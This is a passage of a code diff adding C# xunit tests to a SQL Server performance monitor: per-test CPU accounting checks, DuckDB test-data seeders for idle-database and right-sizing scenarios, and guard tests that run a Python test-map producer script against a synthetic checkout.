+/// #5208 (W2b): pins the per-test CPU accountant. Each case measures a charge opened inside its own
+/// <see cref="Task.Run(Func{Task})"/>, so the assembly-level charge of the test running it is untouched. Every burn
+/// is at least 40 ms of CPU. Thread CPU comes from GetThreadTimes, which reads in scheduler ticks (about 15.6 ms),
+/// so the bounds are loose on purpose: they separate "charged about the burn" from "charged about nothing". A side
+/// that must read as nothing is allowed one stray tick (#5459): a bound under the counter's own tick fails whenever
+/// the clock interrupt lands on an idle thread, which no test can prevent.
+/// </summary>
+public sealed class TestCpuAccountantTests
+{
+    private const long BurnMs = 40;
+    private const long ChargedAtLeastMs = 10;
+
+    private static readonly Lazy<long> ClockTick = new(MeasureClockTick);
+
+    /// <summary>One step of the thread CPU counter, in 100 ns ticks (about 156250 on a 15.6 ms scheduler tick).</summary>
+    private static long TickTicks => ClockTick.Value;
+
+    /// <summary>What a "busy" side burns: the usual 40 ms, or four counter ticks when the tick is longer than 10 ms.</summary>
+    private static long BusyTicks => Math.Max(BurnMs * TimeSpan.TicksPerMillisecond, 4 * TickTicks);
+
+    /// <summary>
+    /// The most a side that must read as "nothing" may be charged: two counter ticks (one stray tick is a step of the
+    /// counter, not CPU), and never under the 10 ms floor the other tests use when the counter is finer than that.
+    /// </summary>
+    private static long IdleLimitTicks => Math.Max(ChargedAtLeastMs * TimeSpan.TicksPerMillisecond, 2 * TickTicks);
+
+    /// <summary>
+    /// Reads the counter's step on this thread: spins until the counter moves, then times the next two moves and
+    /// keeps the larger step. A tick counter steps by one tick every time; a finer counter steps by almost nothing,
+    /// and then the 10 ms floors above apply. Costs up to three ticks of CPU, once per process.
+    /// </summary>
+    private static long MeasureClockTick()
+    {
+        if (!TestCpuAccountant.Enabled)
+        {
+            return 156250;
+        }
+        var wall = Stopwatch.StartNew();
+        long last = TestCpuAccountant.ThreadCpuTicks();
+        long step = 0;
+        int moves = 0;
+        while (moves < 3 && wall.Elapsed < TimeSpan.FromSeconds(30))
+        {
+            long now = TestCpuAccountant.ThreadCpuTicks();
+            if (now == last)
+            {
+                continue;
+            }
+            if (++moves > 1)
+            {
+                step = Math.Max(step, now - last);
+            }
+            last = now;
+        }
+        Assert.True(step > 0, "the thread CPU counter never moved while the test spun");
+        return step;
+    }
+
+    /// <summary>
+    /// Spends <paramref name="ticks"/> (100 ns) of THIS thread's CPU time, read from the same counter the accountant
+    /// charges from. A wall-clock burn (a Stopwatch loop) charged only the slices the thread got in those 40 ms, so on
+    /// a loaded runner two burns could add up to 46 ms and miss the 50 ms lower bound (#5459). This loop keeps
+    /// spinning until the thread's own CPU counter has advanced by the burn, so the charge covers it however the
+    /// thread was scheduled. The 30 s wall limit is only a hang backstop (a counter that never moves).
+    /// </summary>
+    private static void Burn(long ticks = BurnMs * TimeSpan.TicksPerMillisecond)
+    {
+        var wall = Stopwatch.StartNew();
+        var start = TestCpuAccountant.ThreadCpuTicks();
+        long sink = 0;
+        while (TestCpuAccountant.ThreadCpuTicks() - start < ticks
+               && wall.Elapsed < TimeSpan.FromSeconds(30))
+        {
+            sink += wall.ElapsedTicks & 1;
+        }
+        GC.KeepAlive(sink);
+    }
+
+    /// <summary>Runs <paramref name="work"/> under a fresh charge on its own execution context; returns the 100 ns ticks charged.</summary>
+    private static Task<long> ChargedTicks(Func<Task> work) => Task.Run(async () =>
+    {
+        var charge = TestCpuAccountant.Begin();
+        await work();
+        return TestCpuAccountant.End(charge);
+    });
+
+    /// <summary>The same, in whole milliseconds.</summary>
+    private static async Task<long> ChargedMs(Func<Task> work) => await ChargedTicks(work) / TimeSpan.TicksPerMillisecond;
+
+    [Fact]
+    public async Task Work_on_the_tests_own_thread_is_charged()
+    {
+        Assert.True(TestCpuAccountant.Enabled);
+        long ms = await ChargedMs(() => { Burn(); return Task.CompletedTask; });
+        Assert.InRange(ms, ChargedAtLeastMs, BurnMs * 4);
+    }
+
+    [Fact]
+    public async Task Work_after_an_await_on_another_pool_thread_is_charged_to_the_same_test()
+    {
+        long ms = await ChargedMs(async () =>
+        {
+            await Task.Run(() => Burn());
+            await Task.Delay(1);
+            Burn();
+        });
+        // Two burns, on up to three different threads: both must land on the one charge.
+        Assert.InRange(ms, BurnMs + ChargedAtLeastMs, BurnMs * 8);
+    }
+
+    [Fact]
+    public async Task Two_tests_in_parallel_are_charged_separately()
+    {
+        long busyBurn = BusyTicks;
+        var busy = ChargedTicks(() => { Burn(busyBurn); return Task.CompletedTask; });
+        var idle = ChargedTicks(async () => await Task.Delay((int)BurnMs));
+        await Task.WhenAll(busy, idle);
+        // The busy side burned at least four counter ticks; the idle side may read one stray tick, never two.
+        Assert.InRange(busy.Result, busyBurn, busyBurn * 4);
+        Assert.True(idle.Result < IdleLimitTicks,
+            $"the idle test was charged {idle.Result / TimeSpan.TicksPerMillisecond} ms (limit {IdleLimitTicks / TimeSpan.TicksPerMillisecond} ms)");
+    }
+
+    [Fact]
+    public async Task One_stray_tick_on_the_idle_side_does_not_hide_the_separation()
+    {
+        // #5459: the clock interrupt can land on a test that is only waiting, and the counter then reads one whole
+        // tick for it. Plant exactly that: the idle side burns one counter tick of its own. A bound under one tick
+        // (the old 10 ms) failed here every time; two tick-sized bounds keep the sides apart and still pass.
+        long busyBurn = BusyTicks;
+        long strayTick = TickTicks;
+        var busy = ChargedTicks(() => { Burn(busyBurn); return Task.CompletedTask; });
+        var idle = ChargedTicks(async () =>
+        {
+            await Task.Delay((int)BurnMs);
+            Burn(strayTick);
+        });
+        await Task.WhenAll(busy, idle);
+        Assert.InRange(busy.Result, busyBurn, busyBurn * 4);
+        Assert.InRange(idle.Result, strayTick, IdleLimitTicks - 1);
+    }
+
+    [Fact]
+    public async Task Work_queued_without_the_execution_context_is_not_charged()
+    {
+        // Documented limit, not a bug: UnsafeQueueUserWorkItem does not flow the context, so nobody is charged.
+        // The unflowed work burns four counter ticks; the waiting thread may still read one stray tick.
+        long busyBurn = BusyTicks;
+        long ticks = await ChargedTicks(() =>
+        {
+            using var done = new ManualResetEventSlim();
+            ThreadPool.UnsafeQueueUserWorkItem(_ => { Burn(busyBurn); done.Set(); }, null);
+            Assert.True(done.Wait(TimeSpan.FromSeconds(30)));
+            return Task.CompletedTask;
+        });
+        Assert.True(ticks < IdleLimitTicks,
+            $"unflowed work was charged {ticks / TimeSpan.TicksPerMillisecond} ms (limit {IdleLimitTicks / TimeSpan.TicksPerMillisecond} ms)");
+    }
+
+    [Fact]
+    public void The_run_summary_line_and_sidecar_path_read_the_xml_argument()
+    {
+        Assert.Equal("Lite test CPU coverage: charged 600 ms over 3 tests, process 1000 ms, ratio 60.0 %",
+            TestCpuRunSummary.Line(600, 1000, 3));
+        Assert.Equal("TestResults/a.xml.cpu.json", TestCpuRunSummary.SidecarPath(new[] { "-class", "X", "-xml", "TestResults/a.xml" }));
+        Assert.Null(TestCpuRunSummary.SidecarPath(new[] { "-class", "X" }));
+        Assert.Null(TestCpuRunSummary.SidecarPath(new[] { "-xml" }));
+    }
+}
diff --git a/Lite.Tests/TestDataSeeder.cs b/Lite.Tests/TestDataSeeder.cs
index b729f8241c..a7b2b7fcd0 100644
--- a/Lite.Tests/TestDataSeeder.cs
+++ b/Lite.Tests/TestDataSeeder.cs
@@ -2161,7 +2161,7 @@ await SeedServerPropertiesAsync(cpuCount: 32, htRatio: 2, physicalMemMb: 262_144
     /// leave it null for a DTU-model objective or an elastic pool, whose objective names no vCore count (its cpu_count is still its
     /// own scheduler count). Every other edition has 256 GB in both tables.</para>
     /// </summary>
-    public async Task SeedRightSizingScenarioAsync(int engineEdition, bool withCpuSamples, int? vcoreCount = null, string? serviceObjective = null, string? edition = null)
+    public async Task SeedRightSizingScenarioAsync(int engineEdition, bool withCpuSamples, int? vcoreCount = null, string? serviceObjective = null, string? edition = null, int cpuCount = 32)
     {
         await ClearTestDataAsync();
         await SeedTestServerAsync();
@@ -2174,7 +2174,7 @@ public async Task SeedRightSizingScenarioAsync(int engineEdition, bool withCpuSa
         var azureSqlDatabase = engineEdition == 5;
         await SeedMemoryStatsAsync(
             totalPhysicalMb: azureSqlDatabase ? 167_117 : 262_144, bufferPoolMb: 40_960, targetMb: azureSqlDatabase ? 163_840 : 245_760);
-        await SeedServerPropertiesAsync(cpuCount: 32, htRatio: 2, physicalMemMb: azureSqlDatabase ? 933_836 : 262_144,
+        await SeedServerPropertiesAsync(cpuCount: cpuCount, htRatio: 2, physicalMemMb: azureSqlDatabase ? 933_836 : 262_144,
             edition: edition ?? (azureSqlDatabase ? "SQL Azure" : "Enterprise Edition"), engineEdition: engineEdition,
             serviceObjective: serviceObjective ?? (vcoreCount.HasValue ? $"GP_Gen5_{vcoreCount}" : null), vcoreCount: vcoreCount);
         await SeedFileSizeAsync(totalDataSizeMb: 51_200);
@@ -2194,16 +2194,66 @@ public async Task SeedIdleDatabasesAsync()
 
         // Seed database sizes for 3 databases + query activity for only 1
         await SeedDatabaseSizesForIdleTestAsync();
-        await SeedQueryStatsForDatabaseAsync("ActiveDB", executions: 5000, cpuMs: 100_000, oldestSampleDaysAgo: 7.1);
+        await SeedQueryStatsForDatabaseAsync("ActiveDB", executions: 5000, cpuMs: 100_000, oldestSampleDaysAgo: 7.1, coverEveryDay: true);
     }
 
-    /// <summary>The idle-database scenario on a server watched for 6.5 days: the advice text claims 7, so nothing is called idle.</summary>
+    /// <summary>The idle-database scenario on a server watched for 6.5 days, a sample at least every half day, so EVERY UTC day holds a sample: the advice text claims 7, and the oldest sample is not yet 7 days old, so at no time of day is anything called idle.</summary>
     public async Task SeedIdleDatabasesWithSixAndAHalfDaysOfHistoryAsync()
     {
         await ClearTestDataAsync();
         await SeedTestServerAsync();
         await SeedDatabaseSizesForIdleTestAsync();
-        await SeedQueryStatsForDatabaseAsync("ActiveDB", executions: 5000, cpuMs: 100_000, oldestSampleDaysAgo: 6.5);
+        await SeedQueryStatsForDatabaseAsync("ActiveDB", executions: 5000, cpuMs: 100_000, oldestSampleDaysAgo: 6.5, coverEveryDay: true);
+    }
+
+    /// <summary>
+    /// The idle-database scenario with query-stats samples at exactly the given days back, each at noon UTC (<c>daysBack</c> of 0 is
+    /// today at noon). Day granularity keeps the scenario the same at every time of day the test runs.
+    /// </summary>
+    public async Task SeedIdleDatabasesWithSampleDaysAsync(params int[] daysBack)
+    {
+        await ClearTestDataAsync();
+        await SeedTestServerAsync();
+        await SeedDatabaseSizesForIdleTestAsync();
+
+        using var readLock = _duckDb.AcquireReadLock();
+        var connection = await SeedConnectionAsync();
+        using var batch = new SeedBatch(connection);
+
+        foreach (var day in daysBack)
+        {
+            using var cmd = connection.CreateCommand();
+            cmd.CommandText = @"
+INSERT INTO query_stats
+    (collection_id, collection_time, server_id, server_name,
+     database_name, query_hash, delta_execution_count,
+     delta_worker_time, delta_elapsed_time, delta_logical_reads)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10)";
+            cmd.Parameters.Add(new DuckDBParameter { Value = _nextId-- });
+            cmd.Parameters.Add(new DuckDBParameter { Value = _utcNow().Date.AddDays(-day).AddHours(12) });
+            cmd.Parameters.Add(new DuckDBParameter { Value = TestServerId });
+            cmd.Parameters.Add(new DuckDBParameter { Value = TestServerName });
+            cmd.Parameters.Add(new DuckDBParameter { Value = "ActiveDB" });
+            cmd.Parameters.Add(new DuckDBParameter { Value = $"0xDAY{day:D4}" });
+            cmd.Parameters.Add(new DuckDBParameter { Value = 300L });
+            cmd.Parameters.Add(new DuckDBParameter { Value = 6_000_000L });
+            cmd.Parameters.Add(new DuckDBParameter { Value = 12_000_000L });
+            cmd.Parameters.Add(new DuckDBParameter { Value = 150_000L });
+
+            await cmd.ExecuteNonQueryAsync();
+        }
+    }
+
+    /// <summary>
+    /// The idle-database scenario after a collection gap: the first sample is 9 days old, so the server's oldest sample is older
+    /// than 7 days, but the days between hold none and only today holds samples. Nothing watched those days, so nothing is idle.
+    /// </summary>
+    public async Task SeedIdleDatabasesAfterANineDayCollectionGapAsync()
+    {
+        await ClearTestDataAsync();
+        await SeedTestServerAsync();
+        await SeedDatabaseSizesForIdleTestAsync();
+        await SeedQueryStatsForDatabaseAsync("ActiveDB", executions: 5000, cpuMs: 100_000, oldestSampleDaysAgo: 9);
     }
 
     /// <summary>The idle-database scenario on a server watched for only four hours: too little history to call anything idle.</summary>
@@ -2366,6 +2416,13 @@ INSERT INTO cpu_utilization_stats
         }
     }
 
+    /// <summary>
+    /// Seeds <paramref name="samples"/> CPU samples an hour apart ending two days ago, outside the 24-hour utilization read, so the server's CPU
+    /// samples span more than a day (the CPU right-sizing rules need a full day) without moving the 24-hour figures.
+    /// </summary>
+    internal Task SeedOlderCpuHistoryAsync(int avgSqlCpu, int avgOtherCpu, int samples = 4) =>
+        SeedFinOpsCpuUtilizationAsync(avgSqlCpu, avgOtherCpu, samples, spacingMinutes: 60, daysBack: 2);
+
     /// <summary>
     /// Seeds database_size_stats with 3 databases for idle-database testing.
     /// "ActiveDB" will have query_stats activity (seeded separately).
@@ -2413,7 +2470,9 @@ INSERT INTO database_size_stats
     /// Seeds query_stats with activity for a specific database.
     /// Used to mark a database as "active" so it's excluded from idle detection.
     /// </summary>
-    internal async Task SeedQueryStatsForDatabaseAsync(string databaseName, long executions, long cpuMs, double oldestSampleDaysAgo = 0)
+    /// <param name="coverEveryDay">With <paramref name="oldestSampleDaysAgo"/> above 0, spreads the 16 samples evenly from that far back to now,
+    /// so every UTC day in between holds one. Without it the first sample is that old and the rest are recent: a collection gap.</param>
+    internal async Task SeedQueryStatsForDatabaseAsync(string databaseName, long executions, long cpuMs, double oldestSampleDaysAgo = 0, bool coverEveryDay = false)
     {
         using var readLock = _duckDb.AcquireReadLock();
         var connection = await SeedConnectionAsync();
@@ -2434,7 +2493,8 @@ INSERT INTO query_stats
 VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10)";
 
             // oldestSampleDaysAgo > 0 puts the first sample that far back, so the server has that much history.
-            var t = i == 0 && oldestSampleDaysAgo > 0 ? _utcNow().AddDays(-oldestSampleDaysAgo) : TestPeriodStart.AddMinutes(i * 15);
+            var t = coverEveryDay && oldestSampleDaysAgo > 0 ? _utcNow().AddDays(-oldestSampleDaysAgo * (15 - i) / 15.0)
+                : i == 0 && oldestSampleDaysAgo > 0 ? _utcNow().AddDays(-oldestSampleDaysAgo) : TestPeriodStart.AddMinutes(i * 15);
             cmd.Parameters.Add(new DuckDBParameter { Value = _nextId-- });
             cmd.Parameters.Add(new DuckDBParameter { Value = t });
             cmd.Parameters.Add(new DuckDBParameter { Value = TestServerId });
diff --git a/Lite.Tests/TestMapProducerGuardTests.cs b/Lite.Tests/TestMapProducerGuardTests.cs
new file mode 100644
index 0000000000..a54b304ac9
--- /dev/null
+++ b/Lite.Tests/TestMapProducerGuardTests.cs
@@ -0,0 +1,533 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Security.Cryptography;
+using System.Text;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// Pins the test-map producer (#5459 change 4, slice 3): <c>.github/scripts/test-map.py</c> and the two jobs in
+/// <c>nightly.yml</c> that run it.
+///
+/// <para><b>Why.</b> The map is only as good as what goes into it. Coverage sees the product files a class ran; the
+/// producer adds the files a class only names (path and tool-name literals, the type-name rule), marks a class that
+/// walks the whole checkout as text as "tree", unions the shards and any retry, and refuses to write a map when a
+/// shard is missing (a class absent from the map runs as "new" on every pull request and hides what it covers).
+/// These tests build a small synthetic checkout and run the script on it, so a rule that stops firing is red here
+/// before a nightly spends 100 runner-minutes producing a map with a hole in it.</para>
+/// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Darling")]
+public sealed class TestMapProducerGuardTests : IDisposable
+{
+    private readonly string _dir = Path.Combine(Path.GetTempPath(), "testmap-guard-" + Guid.NewGuid().ToString("N"));
+
+    public TestMapProducerGuardTests() => Directory.CreateDirectory(_dir);
+
+    public void Dispose()
+    {
+        try
+        {
+            Directory.Delete(_dir, recursive: true);
+        }
+        catch (IOException)
+        {
+            // A scratch folder under the temp directory; the OS reclaims it.
+        }
+    }
+
+    private static string Script(string name) => Path.Combine(ParitySource.RepoRoot(), ".github", "scripts", name);
+
+    private static (int ExitCode, string Output) Python(string script, params string[] args)
+    {
+        var psi = new ProcessStartInfo("python")
+        {
+            WorkingDirectory = ParitySource.RepoRoot(),
+            RedirectStandardOutput = true,
+            RedirectStandardError = true,
+            UseShellExecute = false,
+        };
+        psi.ArgumentList.Add("-I");
+        psi.ArgumentList.Add(Script(script));
+        foreach (var a in args)
+        {
+            psi.ArgumentList.Add(a);
+        }
+
+        using var p = Process.Start(psi) ?? throw new InvalidOperationException("python did not start");
+        var stdout = p.StandardOutput.ReadToEndAsync();
+        var stderr = p.StandardError.ReadToEndAsync();
+        Assert.True(p.WaitForExit(120_000), script + " did not finish in two minutes");
+        return (p.ExitCode, stdout.Result + stderr.Result);
+    }
+
+    private void Write(string relative, string content)
+    {
+        var path = Path.Combine(_dir, relative);
+        Directory.CreateDirectory(Path.GetDirectoryName(path)!);
+        File.WriteAllText(path, content);
+    }
+
+    private static string ShardJson(string suite, int shard, params (string Full, string[] Files, double Seconds, int Tests, int Skipped)[] rows)
+    {
+        var classes = rows.ToDictionary(r => r.Full, r => new Dictionary<string, object>
+        {
+            ["files"] = r.Files,
+            ["seconds"] = r.Seconds,
+            ["tests"] = r.Tests,
+            ["skipped"] = r.Skipped,
+            ["failed"] = 0,
+            ["seen"] = r.Files.Length > 0,
+        });
+        return JsonSerializer.Serialize(new Dictionary<string, object>
+        {
+            ["suite"] = suite,
+            ["shard"] = shard,
+            ["tests_exit"] = 0,
+            ["listed"] = rows.Select(r => r.Full).ToArray(),
+            ["classes"] = classes,
+        });
+    }
+
+    /// <summary>A small checkout: two suites, product files, a script, a SQL file and a XAML pair.</summary>
+    private void SeedCheckout()
+    {
+        var tracked = new[]
+        {
+            "Darling/Darling.Tests/AlphaTests.cs", "Darling/Darling.Tests/ReadsTests.cs", "Darling/Darling.Tests/WalkerTests.cs",
+            "Darling/Darling.Tests/GuardedTests.cs", "Darling/Darling.Tests/HoleTests.cs", "Lite.Tests/BetaTests.cs",
+            "src/Gamma.cs", "src/Other.cs", "src/ProductThing.cs", "src/Tools.cs", "src/Ui/Main.xaml", "src/Ui/Main.xaml.cs",
+            "web/app.js", "install/01_schema.sql",
+        };
+        Write("tracked.txt", string.Join("\n", tracked));
+        Write("Darling/Darling.Tests/AlphaTests.cs", """
+            public sealed class AlphaTests
+            {
+                private readonly ProductThing _thing = new();
+                public void Runs() { }
+            }
+            """);
+        Write("Darling/Darling.Tests/ReadsTests.cs", """
+            public sealed class ReadsTests
+            {
+                public void Reads()
+                {
+                    var js = File.ReadAllText(Path.Combine(RepoRoot(), "web", "app.js"));
+                    var tool = "get_widget";
+                    var sql = File.ReadAllText(Path.Combine(RepoRoot(), "install", "01_schema.sql"));
+                }
+            }
+            """);
+        Write("Darling/Darling.Tests/WalkerTests.cs", """
+            public sealed class WalkerTests
+            {
+                public void Walks()
+                {
+                    foreach (var f in Directory.EnumerateFiles(RepoRoot(), "*.cs", SearchOption.AllDirectories)) { File.ReadAllText(f); }
+                }
+            }
+            """);
+        Write("Darling/Darling.Tests/GuardedTests.cs", """
+            [Trait("Stage", "Guard")]
+            public sealed class GuardedTests
+            {
+                public void Reads() { File.ReadAllText(Path.Combine(RepoRoot(), "web", "app.js")); }
+            }
+            """);
+        Write("Darling/Darling.Tests/HoleTests.cs", "public sealed class HoleTests { public void Nothing() { } }\n");
+        Write("Lite.Tests/BetaTests.cs", "public sealed class BetaTests { public void Runs() { } }\n");
+        Write("src/Gamma.cs", "public sealed class Gamma { }\n");
+        Write("src/Other.cs", "public sealed class Other { }\n");
+        Write("src/ProductThing.cs", "public sealed class ProductThing { }\n");
+        Write("src/Tools.cs", "public static class Tools { public const string Name = \"get_widget\"; }\n");
+    }
+
+    private (int ExitCode, string Output, JsonDocument? Map) Build(params string[] extra)
+    {
+        var args = new List<string>
+        {
+            "build", "--root", _dir, "--shards", Path.Combine(_dir, "shards"), "--sha", "0123456789abcdef",
+            "--built-at", "2026-10-08T00:00:00Z", "--tracked", Path.Combine(_dir, "tracked.txt"),
+            "--out", Path.Combine(_dir, "map.json.gz"), "--summary", Path.Combine(_dir, "summary.md"),
+        };
+        args.AddRange(extra);
+        var (code, output) = Python("test-map.py", args.ToArray());
+        if (code != 0)
+        {
+            return (code, output, null);
+        }
+
+        using var gz = new System.IO.Compression.GZipStream(File.OpenRead(Path.Combine(_dir, "map.json.gz")),
+            System.IO.Compression.CompressionMode.Decompress);
+        return (code, output, JsonDocument.Parse(gz));
+    }
+
+    private void SeedShards()
+    {
+        Write("shards/a/shard-darling-0.json", ShardJson("darling", 0,
+            ("Ns.AlphaTests", new[] { "src/Gamma.cs", "src/Ui/Main.xaml.cs", "Darling/Darling.Tests/AlphaTests.cs" }, 2.5, 3, 0),
+            ("Ns.ReadsTests", Array.Empty<string>(), 0.5, 1, 0)));
+        // A second shard, and a retry of the first that saw another file and ran faster: files union, seconds take the longer.
+        Write("shards/b/shard-darling-1.json", ShardJson("darling", 1,
+            ("Ns.WalkerTests", Array.Empty<string>(), 1.0, 1, 0),
+            ("Ns.GuardedTests", Array.Empty<string>(), 0.1, 1, 0),
+            ("Ns.HoleTests", Array.Empty<string>(), 0.1, 1, 0)));
+        Write("shards/c/shard-darling-0-retry.json", ShardJson("darling", 0,
+            ("Ns.AlphaTests", new[] { "src/Other.cs" }, 1.0, 3, 0)));
+        Write("shards/d/shard-lite-0.json", ShardJson("lite", 0,
+            ("Ns.BetaTests", new[] { "src/Gamma.cs" }, 0.2, 1, 0)));
+    }
+
+    [Fact]
+    public void TheMap_FollowsSchemaOne_AndUnionsShardsAndRetries()
+    {
+        SeedCheckout();
+        SeedShards();
+
+        var (code, output, map) = Build("--expect", "darling=2", "--expect", "lite=1");
+        Assert.True(code == 0, output);
+        using (map)
+        {
+            var root = map!.RootElement;
+            Assert.Equal(1, root.GetProperty("schema").GetInt32());
+            Assert.Equal("0123456789abcdef", root.GetProperty("sha").GetString());
+            Assert.Equal("2026-10-08T00:00:00Z", root.GetProperty("built_at").GetString());
+            Assert.Equal("altcover", root.GetProperty("tool").GetString());
+
+            var universe = root.GetProperty("files").EnumerateArray().Select(e => e.GetString()!).ToList();
+            Assert.Equal(universe.OrderBy(f => f, StringComparer.Ordinal).ToList(), universe);
+
+            var alpha = root.GetProperty("classes").GetProperty("darling").GetProperty("AlphaTests");
+            var alphaFiles = alpha.GetProperty("files").EnumerateArray().Select(e => universe[e.GetInt32()]).ToList();
+            Assert.Contains("src/Gamma.cs", alphaFiles);          // coverage, shard 0
+            Assert.Contains("src/Other.cs", alphaFiles);          // coverage, the retry (union)
+            Assert.Contains("src/ProductThing.cs", alphaFiles);   // the type-name rule
+            Assert.Contains("src/Ui/Main.xaml", alphaFiles);      // Main.xaml.cs stands for Main.xaml
+            Assert.DoesNotContain("Darling/Darling.Tests/AlphaTests.cs", alphaFiles); // a class's own file is `own`
+            Assert.Equal("Darling/Darling.Tests/AlphaTests.cs", universe[alpha.GetProperty("own").GetInt32()]);
+            Assert.Equal(2.5, alpha.GetProperty("seconds").GetDouble());
+
+            Assert.True(root.GetProperty("classes").GetProperty("lite").TryGetProperty("BetaTests", out _));
+        }
+    }
+
+    [Fact]
+    public void ABigCollection_ShareWhatMostOfItsClassesVisited_ASmallOneDoesNot()
+    {
+        // #5459: a xunit collection shares one fixture. Its set-up runs once and the coverage run credits it to the one
+        // class that started it, so a change to a file the fixture ran selected only some of the classes that failed.
+        var tracked = new List<string> { "src/Store.cs", "src/Tiny.cs" };
+        var rows = new List<(string Full, string[] Files, double Seconds, int Tests, int Skipped)>();
+        for (var i = 1; i <= 6; i++)
+        {
+            var name = $"Live{i}Tests";
+            tracked.Add($"Darling/Darling.Tests/{name}.cs");
+            Write($"Darling/Darling.Tests/{name}.cs", $"[Collection(\"live\")]\npublic sealed class {name} {{ public void Runs() {{ }} }}\n");
+            // Four of six visited the fixture's file (more than half); the last two did not.
+            rows.Add(($"Ns.{name}", i <= 4 ? new[] { "src/Store.cs" } : new[] { "src/Other.cs" }, 1.0, 1, 0));
+        }
+
+        for (var i = 1; i <= 3; i++)
+        {
+            var name = $"Small{i}Tests";
+            tracked.Add($"Darling/Darling.Tests/{name}.cs");
+            Write($"Darling/Darling.Tests/{name}.cs", $"[Collection(\"tiny\")]\npublic sealed class {name} {{ public void Runs() {{ }} }}\n");
+            rows.Add(($"Ns.{name}", i <= 2 ? new[] { "src/Tiny.cs" } : new[] { "src/Other.cs" }, 1.0, 1, 0));
+        }
+
+        tracked.AddRange(new[] { "src/Other.cs", "Darling/Darling.Tests/PlainTests.cs" });
+        Write("Darling/Darling.Tests/PlainTests.cs", "public sealed class PlainTests { public void Runs() { } }\n");
+        rows.Add(("Ns.PlainTests", new[] { "src/Other.cs" }, 1.0, 1, 0));
+        Write("src/Store.cs", "public sealed class Store { }\n");
+        Write("src/Tiny.cs", "public sealed class Tiny { }\n");
+        Write("src/Other.cs", "public sealed class Other { }\n");
+        Write("tracked.txt", string.Join("\n", tracked));
+        Write("shards/a/shard-darling-0.json", ShardJson("darling", 0, rows.ToArray()));
+        Write("shards/d/shard-lite-0.json", ShardJson("lite", 0, ("Ns.BetaTests", new[] { "src/Other.cs" }, 0.2, 1, 0)));
+        tracked.Add("Lite.Tests/BetaTests.cs");
+        Write("Lite.Tests/BetaTests.cs", "public sealed class BetaTests { public void Runs() { } }\n");
+        Write("tracked.txt", string.Join("\n", tracked));
+
+        var (code, output, map) = Build();
+        Assert.True(code == 0, output);
+        using (map)
+        {
+            var root = map!.RootElement;
+            var universe = root.GetProperty("files").EnumerateArray().Select(e => e.GetString()!).ToList();
+            var classes = root.GetProperty("classes").GetProperty("darling");
+            List<string> Files(string cls) => classes.GetProperty(cls).GetProperty("files").EnumerateArray()
+                .Select(e => universe[e.GetInt32()]).ToList();
+
+            Assert.Contains("src/Store.cs", Files("Live5Tests"));   // did not visit it, but the collection's fixture ran it
+            Assert.Contains("src/Store.cs", Files("Live6Tests"));
+            Assert.Contains("src/Store.cs", Files("Live1Tests"));   // unchanged for the classes that visited it
+            Assert.DoesNotContain("src/Tiny.cs", Files("Small3Tests")); // two classes of three: under the collection minimum
+            Assert.DoesNotContain("src/Store.cs", Files("PlainTests")); // no collection, no sharing
+            Assert.DoesNotContain("Darling/Darling.Tests/Live1Tests.cs", Files("Live5Tests")); // another class's own file is never shared
+        }
+    }
+
+    [Fact]
+    public void TextPatterns_CarryPathAndToolNameLiterals_AndTreeReaders()
+    {
+        SeedCheckout();
+        SeedShards();
+
+        var (code, output, map) = Build();
+        Assert.True(code == 0, output);
+        using (map)
+        {
+            var patterns = map!.RootElement.GetProperty("text_patterns");
+            var reads = patterns.GetProperty("ReadsTests").EnumerateArray().Select(e => e.GetString()).ToList();
+            Assert.Contains("web/app.js", reads);          // Path.Combine(root, "web", "app.js")
+            Assert.Contains("install/01_schema.sql", reads);
+            Assert.Contains("src/Tools.cs", reads);        // the "get_widget" tool name -> the file that declares it
+            Assert.Equal("tree", patterns.GetProperty("WalkerTests").GetString());
+            Assert.False(patterns.TryGetProperty("GuardedTests", out _), "a Guard class always runs and needs no pattern");
+            Assert.False(patterns.TryGetProperty("HoleTests", out _));
+        }
+    }
+
+    [Fact]
+    public void TheSummary_NamesTheHoles_AndTheSize()
+    {
+        SeedCheckout();
+        SeedShards();
+
+        var (code, output, map) = Build();
+        Assert.True(code == 0, output);
+        map!.Dispose();
+        var summary = File.ReadAllText(Path.Combine(_dir, "summary.md"));
+        Assert.Contains("HoleTests", summary);
+        Assert.DoesNotContain("AlphaTests (", summary);
+        Assert.Contains("holes (no files and no pattern): 1", summary);
+        Assert.Matches(@"size: \d+ bytes gzip", summary);
+    }
+
+    [Fact]
+    public void TheMap_IsRefused_WhenAShardIsMissing()
+    {
+        SeedCheckout();
+        SeedShards();
+
+        var (code, output, _) = Build("--expect", "darling=3");
+
+        Assert.NotEqual(0, code);
+        Assert.Contains("no map written", output);
+        Assert.False(File.Exists(Path.Combine(_dir, "map.json.gz")), "a partial map must not be written");
+    }
+
+    [Fact]
+    public void TheCut_PutsEveryClassInExactlyOneShard_ByTheHashBuildYmlUses()
+    {
+        var names = Enumerable.Range(0, 60).Select(i => $"Ns.Sub.Class{i * 7919 % 1000}Tests").Distinct().ToList();
+        File.WriteAllText(Path.Combine(_dir, "all.json"), JsonSerializer.Serialize(names));
+        var seen = new List<string>();
+        for (var shard = 0; shard < 3; shard++)
+        {
+            var outDir = Path.Combine(_dir, "cut" + shard);
+            var (code, output) = Python("test-map.py", "cut", "--list", Path.Combine(_dir, "all.json"), "--shards", "3",
+                "--shard", shard.ToString(), "--budget", "300", "--out", outDir);
+            Assert.True(code == 0, output);
+            var listed = File.ReadAllLines(Path.Combine(outDir, "listed.txt")).Where(l => l.Length > 0).ToList();
+            // build.yml: BitConverter.ToUInt32(SHA256(UTF8(name)), 0) % job-total == shard
+            foreach (var name in listed)
+            {
+                var hash = SHA256.HashData(Encoding.UTF8.GetBytes(name));
+                Assert.Equal(shard, (int)(BitConverter.ToUInt32(hash, 0) % 3));
+            }
+
+            var chunks = Directory.GetFiles(outDir, "chunk-*.txt");
+            Assert.True(chunks.Length > 1, "a 300 character budget must split the shard into several chunks");
